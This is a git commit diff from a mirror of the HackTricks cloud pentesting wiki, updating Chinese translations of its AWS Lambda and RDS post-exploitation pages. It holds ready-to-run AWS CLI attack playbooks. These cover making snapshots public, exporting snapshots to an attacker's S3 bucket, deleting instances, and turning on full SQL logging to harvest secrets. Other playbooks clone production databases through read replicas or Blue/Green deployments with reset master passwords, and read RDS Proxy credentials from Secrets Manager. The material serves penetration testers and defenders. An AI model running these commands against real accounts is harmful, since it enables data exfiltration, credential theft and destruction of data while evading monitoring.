mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
更多信息请参见:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda 在运行时通过环境变量注入凭证。如果你能访问这些变量(例如读取 `/proc/self/environ` 或使用存在漏洞的函数本身),就可以直接使用这些凭证。它们存放在默认变量名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY` 和 `AWS_ACCESS_KEY_ID` 中。
|
||||
Lambda 使用环境变量在运行时注入凭证。如果你能获取到这些变量(通过读取 `/proc/self/environ` 或使用有漏洞的函数本身),就可以直接使用它们。它们存放在默认变量名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY` 和 `AWS_ACCESS_KEY_ID` 中。
|
||||
|
||||
默认情况下,这些凭证通常有权限写入一个 cloudwatch log group(其名称保存在 `AWS_LAMBDA_LOG_GROUP_NAME` 中),并可创建任意 log group,但实际 lambda 函数常根据用途被分配更多权限。
|
||||
默认情况下,这些凭证有权限写入一个 cloudwatch log group(其名称存储在 `AWS_LAMBDA_LOG_GROUP_NAME` 中),并且可以创建任意日志组,不过 Lambda 函数通常会根据其预期用途被分配更多权限。
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
如果攻击者设法在 Lambda 中获得 RCE,他可以窃取其他用户发向该 Lambda 的 HTTP 请求。如果这些请求包含敏感信息(cookies、凭证等),攻击者就能获取这些信息。
|
||||
如果攻击者以某种方式在 Lambda 内获得 RCE,他将能够窃取其他用户发往该 lambda 的 HTTP 请求。如果请求中包含敏感信息(cookies、credentials 等),攻击者就能窃取这些信息。
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
滥用 Lambda Layers 还可以利用 extensions 在 Lambda 中实现持久化,同时窃取并篡改请求。
|
||||
滥用 Lambda Layers 也可以利用 extensions 实现持久化,同时窃取和修改请求。
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +34,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
通过将配置更新为空的 VpcConfig (SubnetIds=[], SecurityGroupIds=[]) 可以将 Lambda 函数从受限 VPC 中强制移出。函数随后将在 Lambda 托管的网络平面运行,恢复外网访问,从而绕过由私有 VPC 子网(无 NAT)实施的出站流量控制。
|
||||
通过将函数配置更新为一个空的 VpcConfig(SubnetIds=[], SecurityGroupIds=[])可以强制 Lambda 函数脱离受限的 VPC。函数随后将在 Lambda 管理的网络平面中运行,恢复出站互联网访问,从而绕过由私有 VPC 子网(无 NAT)实施的出站控制。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定 runtime 版本 (Manual) 或冻结更新 (FunctionUpdate)。这可保持对恶意 layers/wrappers 的兼容性,并使函数停留在过时且易受攻击的 runtime 上,从而帮助利用和长期持久化。
|
||||
滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定 runtime 版本(Manual)或冻结更新(FunctionUpdate)。这可保留与恶意 layers/wrappers 的兼容性,并将函数保持在过时且易受攻击的 runtime 上,以便于利用和长期持久化。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制,可将函数的日志重定向到攻击者指定的 CloudWatch Logs log group。此操作无需修改代码或执行角色(大多数 Lambda 角色通过 `AWSLambdaBasicExecutionRole` 已包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`)。如果函数打印了 secrets/请求体或崩溃并输出堆栈跟踪,可从新的 log group 收集这些信息。
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制,将函数的日志重定向到攻击者指定的 CloudWatch Logs 日志组。此方法无需更改代码或执行角色(大多数 Lambda 角色已通过 `AWSLambdaBasicExecutionRole` 包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`)。如果函数打印了 secrets/请求体或崩溃并产生堆栈跟踪,你可以从新的日志组中收集这些信息。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
将私有 Lambda Function URL 变为公共的无身份验证端点:将 Function URL AuthType 切换为 NONE,并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略。这样可以匿名调用内部函数,可能暴露敏感的后端操作。
|
||||
将私有 Lambda Function URL 转为公共未认证端点的方法是将 Function URL AuthType 切换为 NONE,并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略。这样可以匿名调用内部函数,可能暴露敏感的后端操作。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
滥用 `UpdateEventSourceMapping` 更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数,使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被投递到攻击者控制的函数。这样可以在不接触生产者或原函数代码的情况下,悄然转移实时数据。
|
||||
滥用 `UpdateEventSourceMapping` 更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数,使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被发送到攻击者控制的函数。这会在不接触生产者或原始函数代码的情况下静默地劫持实时数据。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 挂载到 Lambda,然后部署简单代码列出/读取挂载路径的文件,从而 exfiltrate 函数之前无法访问的共享 secrets/配置。
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 附加到 Lambda,然后部署简单代码来列出/读取挂载路径中的文件,以外传函数之前无法访问的共享 secrets/配置。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
更多信息请查看:
|
||||
欲了解更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
如果攻击者拥有足够权限,他可以先创建该 DB 的快照,然后从快照恢复出一个公开可访问的 DB,从而使 **DB 公开可访问**。
|
||||
如果攻击者拥有足够的权限,他可以通过对 DB 创建快照,然后从该快照创建一个**可公开访问的 DB**,从而使该 DB 对外可访问。
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
拥有这些权限的攻击者可以**创建一个 DB 的快照**并使其**公开可用**。然后,他可以在自己的账户中直接从该快照创建一个 DB。
|
||||
攻击者拥有这些权限可以**create an snapshot of a DB**并使其**publicly** **available**。然后,他可以在自己的账户中直接从该 snapshot 创建一个 DB。
|
||||
|
||||
如果攻击者**没有 `rds:CreateDBSnapshot` 权限**,他仍然可以将**其他**已创建的快照设为**公开**。
|
||||
如果攻击者**doesn't have the `rds:CreateDBSnapshot`**,他仍然可以将**other** 已创建的 snapshot 设为**public**。
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
持有 `rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能利用这些信息提升其权限或执行未授权的操作。
|
||||
拥有 `rds:DownloadDBLogFilePortion` 权限的攻击者可以**下载 RDS 实例的日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能会利用这些信息提升权限或执行未授权的操作。
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**潜在影响**: 使用 leaked credentials 访问敏感信息或执行未授权操作。
|
||||
**潜在影响**:使用 leaked credentials 访问敏感信息或执行未授权操作。
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
拥有这些权限的攻击者可以 **DoS 现有 RDS 实例**。
|
||||
拥有这些权限的攻击者可以 **DoS 现有的 RDS 实例**。
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**潜在影响**: 删除现有 RDS 实例,并可能导致数据丢失。
|
||||
**潜在影响**: 删除现有的 RDS 实例,并可能导致数据丢失。
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO:测试
|
||||
> TODO: 测试
|
||||
|
||||
拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 存储桶**。如果攻击者控制目标 S3 存储桶,就可能访问导出快照中的敏感数据。
|
||||
具有此权限的攻击者可以**将 RDS 实例快照导出到 S3 存储桶**。如果攻击者能够控制目标 S3 存储桶,则可能访问导出快照中的敏感数据。
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**潜在影响**: 访问导出快照中的敏感数据。
|
||||
**潜在影响**:访问导出的快照中的敏感数据。
|
||||
|
||||
### 跨区域自动备份复制以进行隐蔽恢复 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
滥用跨区域自动备份复制,将 RDS 实例的自动备份悄悄复制到另一个 AWS 区域并在那里恢复。攻击者随后可以将恢复的 DB 设为公开可访问,并重置主密码,从而在防御方可能未监控的区域以带外方式访问数据。
|
||||
滥用跨区域自动备份复制,将 RDS 实例的自动备份静默复制到另一个 AWS Region 并在那里恢复。攻击者随后可以将恢复的 DB 设置为公网可访问,并重置主密码,以在防御者可能未监控的 Region 中以带外方式访问数据。
|
||||
|
||||
所需权限(最少):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` 在目标区域
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` 在目标区域
|
||||
- `rds:RestoreDBInstanceToPointInTime` 在目标区域
|
||||
- `rds:ModifyDBInstance` 在目标区域
|
||||
最低所需权限:
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` 在目标 Region 中
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` 在目标 Region 中
|
||||
- `rds:RestoreDBInstanceToPointInTime` 在目标 Region 中
|
||||
- `rds:ModifyDBInstance` 在目标 Region 中
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication`(可选清理)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(用于暴露恢复的 DB)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(用于将恢复的 DB 暴露)
|
||||
|
||||
影响:Persistence and data exfiltration 通过将生产数据的副本恢复到另一个区域并用攻击者控制的凭据公开暴露。
|
||||
影响:通过将生产数据的副本恢复到另一个 Region 并使用攻击者控制的凭证将其公开暴露,实现持久化并进行 data exfiltration。
|
||||
|
||||
<details>
|
||||
<summary>端到端 CLI(替换占位符)</summary>
|
||||
@@ -163,4 +163,443 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### 通过 DB 参数组 启用完整 SQL 日志并通过 RDS 日志 API 外传
|
||||
|
||||
滥用 `rds:ModifyDBParameterGroup` 配合 RDS 日志下载 API,以捕获应用程序执行的所有 SQL 语句(不需要 DB 引擎凭证)。启用引擎的 SQL 日志,并通过 `rds:DescribeDBLogFiles` 和 `rds:DownloadDBLogFilePortion` 拉取日志文件(或使用 REST 的 `downloadCompleteLogFile`)。可用于收集可能包含 secrets/PII/JWTs 的查询。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance`(仅用于在实例使用默认参数组时附加自定义参数组)
|
||||
- `rds:RebootDBInstance`(用于需要重启的参数,例如 PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon 目标和当前参数组
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) 确保附加了自定义 DB 参数组(无法编辑默认组)
|
||||
- 如果实例已使用自定义组,请在下一步中重用其名称。
|
||||
- 否则创建并附加一个与引擎家族相匹配的参数组:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) 启用详细的 SQL 日志记录
|
||||
- MySQL 引擎(立即 / 无需重启):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL 引擎(需要重启):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) 让工作负载运行(或生成查询)。语句将写入引擎文件日志
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) 发现并下载日志(不需要 DB creds)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) 离线分析敏感数据
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
示例证据(已编辑):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
清理
|
||||
- 将参数恢复为默认值并在必要时重启:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impact: Post-exploitation 数据访问:通过 AWS APIs 捕获所有应用 SQL 语句(无需 DB creds),可能 leaking secrets、JWTs 和 PII。
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
滥用 RDS 只读副本以在不接触主实例凭据的情况下获得 out-of-band 的只读访问。攻击者可以从生产实例创建一个只读副本,重置副本的主密码(这不会更改主实例),并可选择将副本公开暴露以 exfiltrate 数据。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (如果公开暴露)
|
||||
|
||||
Impact: 通过攻击者控制的凭据访问副本以实现对生产数据的只读访问;检测可能性较低,因为主实例保持不被触及且复制继续进行。
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
示例证据 (MySQL):
|
||||
- 副本 DB 状态:`available`,读复制:`replicating`
|
||||
- 使用新密码成功连接,并通过 `@@read_only=1` 确认只读副本访问。
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
滥用 RDS Blue/Green 将生产 DB 克隆到持续复制的只读 green 环境。然后重置 green 主凭证以在不接触 blue (prod) 实例的情况下访问数据。这比快照共享更隐蔽,且经常绕过仅关注源的监控。
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
影响:只读,但可以完全访问接近实时的生产克隆数据,而不修改生产实例。适用于隐蔽的数据提取和离线分析。
|
||||
|
||||
|
||||
### 通过启用 HTTP endpoint 并重置 master password,利用 RDS Data API 进行带外 SQL
|
||||
|
||||
滥用 Aurora 在目标集群上启用 RDS Data API 的 HTTP endpoint,重置 master password 为你可控的值,并通过 HTTPS 运行 SQL(不需要 VPC 网络路径)。适用于支持 Data API/EnableHttpEndpoint 的 Aurora 引擎(例如 Aurora MySQL 8.0 provisioned;某些 Aurora PostgreSQL/MySQL 版本)。
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement(如果使用则包括 rds-data:BatchExecuteStatement)
|
||||
|
||||
影响:绕过网络分段,并通过 AWS APIs 在无需与 DB 直接 VPC 连接的情况下外传数据。
|
||||
|
||||
<details>
|
||||
<summary>端到端 CLI (Aurora MySQL example)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
注意:
|
||||
- 如果 rds-data 拒绝多语句 SQL,请分别发起单独的 execute-statement 调用。
|
||||
- 对于 modify-db-cluster --enable-http-endpoint 无效的引擎,请改用 rds enable-http-endpoint --resource-arn。
|
||||
- 确保引擎/版本实际支持 Data API;否则 HttpEndpointEnabled 将保持 False。
|
||||
|
||||
### 通过 RDS Proxy 的 Secrets Manager secret 获取数据库凭据 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
滥用 RDS Proxy 配置以发现用于后端身份验证的 Secrets Manager secret,然后读取该 secret 以获取数据库凭据。许多环境授予了广泛的 `secretsmanager:GetSecretValue` 权限,使这成为一种低摩擦的转向数据库凭据的途径。如果该 secret 使用 CMK,权限范围配置不当的 KMS 权限也可能允许 `kms:Decrypt`。
|
||||
|
||||
最低权限:
|
||||
- `rds:DescribeDBProxies`
|
||||
- 对引用的 SecretArn 有 `secretsmanager:GetSecretValue` 权限
|
||||
- 当 secret 使用 CMK 时(可选):对该密钥有 `kms:Decrypt`
|
||||
|
||||
影响:立即泄露配置在代理上的数据库用户名/密码;可直接访问数据库或进行进一步的横向移动。
|
||||
|
||||
步骤
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
实验(最小复现示例)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
